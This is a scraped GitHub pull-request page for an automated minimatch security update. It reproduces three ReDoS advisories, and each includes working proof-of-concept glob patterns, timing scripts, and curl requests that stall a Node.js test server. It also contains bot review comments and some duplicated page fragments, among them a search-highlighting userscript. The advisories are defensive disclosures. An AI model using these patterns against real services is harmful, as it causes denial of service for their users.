Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

